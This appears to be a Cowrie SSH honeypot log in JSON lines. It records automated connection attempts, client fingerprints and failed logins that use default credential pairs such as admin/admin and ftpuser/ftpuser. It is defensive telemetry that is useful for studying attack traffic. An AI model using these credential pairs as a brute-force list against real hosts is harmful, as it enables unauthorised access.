{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:05.805992Z","src_ip":"154.125.147.88","session":"ebc6451976be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:06.811968Z","src_ip":"154.125.147.88","session":"ebc6451976be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8f1e0a2658","protocol":"ssh","message":"New connection: 182.253.156.173:38426 (159.203.135.109:22) [session: 4e8f1e0a2658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:07.068213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:07.072313Z","src_ip":"182.253.156.173","session":"4e8f1e0a2658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:07.327405Z","src_ip":"182.253.156.173","session":"4e8f1e0a2658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ken","password":"123456","message":"login attempt [ken/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:08.380487Z","src_ip":"182.253.156.173","session":"4e8f1e0a2658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:08.709521Z","src_ip":"154.125.147.88","session":"ebc6451976be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:08.786926Z","src_ip":"172.190.13.234","session":"b75c5bc50c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:08.793715Z","src_ip":"172.190.13.234","session":"b75c5bc50c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:09.638391Z","src_ip":"182.253.156.173","session":"4e8f1e0a2658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:57.357118Z","src_ip":"115.120.251.149","session":"0a9b13da8971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":54278,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfda57f0a27b","protocol":"ssh","message":"New connection: 45.134.9.27:54278 (159.203.135.109:22) [session: cfda57f0a27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:17.355468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:17.359836Z","src_ip":"45.134.9.27","session":"cfda57f0a27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:17.432456Z","src_ip":"45.134.9.27","session":"cfda57f0a27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3123!","message":"login attempt [user3/user3123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:17.742494Z","src_ip":"45.134.9.27","session":"cfda57f0a27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:18.814342Z","src_ip":"45.134.9.27","session":"cfda57f0a27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":46340,"dst_ip":"159.203.135.109","dst_port":22,"session":"d276f7b28132","protocol":"ssh","message":"New connection: 95.164.113.63:46340 (159.203.135.109:22) [session: d276f7b28132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:29.591504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:29.595337Z","src_ip":"95.164.113.63","session":"d276f7b28132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:29.715370Z","src_ip":"95.164.113.63","session":"d276f7b28132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wialon","password":"Wialon123!","message":"login attempt [wialon/Wialon123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:30.220882Z","src_ip":"95.164.113.63","session":"d276f7b28132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:31.343729Z","src_ip":"95.164.113.63","session":"d276f7b28132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e05e05f18b1","protocol":"ssh","message":"New connection: 172.211.56.214:50410 (159.203.135.109:22) [session: 2e05e05f18b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:39.938502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:39.943899Z","src_ip":"172.211.56.214","session":"2e05e05f18b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:40.038832Z","src_ip":"172.211.56.214","session":"2e05e05f18b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnbot","password":"vpnbot123","message":"login attempt [vpnbot/vpnbot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:40.441656Z","src_ip":"172.211.56.214","session":"2e05e05f18b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:41.547095Z","src_ip":"172.211.56.214","session":"2e05e05f18b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":45757,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e035f429af","protocol":"ssh","message":"New connection: 185.246.130.20:45757 (10.17.0.5:22) [session: 62e035f429af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:51.625478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:51.910393Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:52.017831Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:53.778286Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:54.999714Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56844,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a4adb3e6579","protocol":"ssh","message":"New connection: 2.57.122.210:56844 (159.203.135.109:22) [session: 3a4adb3e6579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:55.128901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:55.184417Z","src_ip":"2.57.122.210","session":"3a4adb3e6579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:55.229595Z","src_ip":"2.57.122.210","session":"3a4adb3e6579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:55.625345Z","src_ip":"2.57.122.210","session":"3a4adb3e6579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:56.221523Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:56.759340Z","src_ip":"2.57.122.210","session":"3a4adb3e6579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:20:57.333631Z","src_ip":"185.246.130.20","session":"62e035f429af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":51010,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1bbf89c84d","protocol":"ssh","message":"New connection: 182.253.156.173:51010 (159.203.135.109:22) [session: 0f1bbf89c84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:02.140525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:02.145184Z","src_ip":"182.253.156.173","session":"0f1bbf89c84d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:02.412452Z","src_ip":"182.253.156.173","session":"0f1bbf89c84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram1234","message":"login attempt [ram/ram1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:03.507564Z","src_ip":"182.253.156.173","session":"0f1bbf89c84d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:04.776089Z","src_ip":"182.253.156.173","session":"0f1bbf89c84d","protocol":"ssh"}
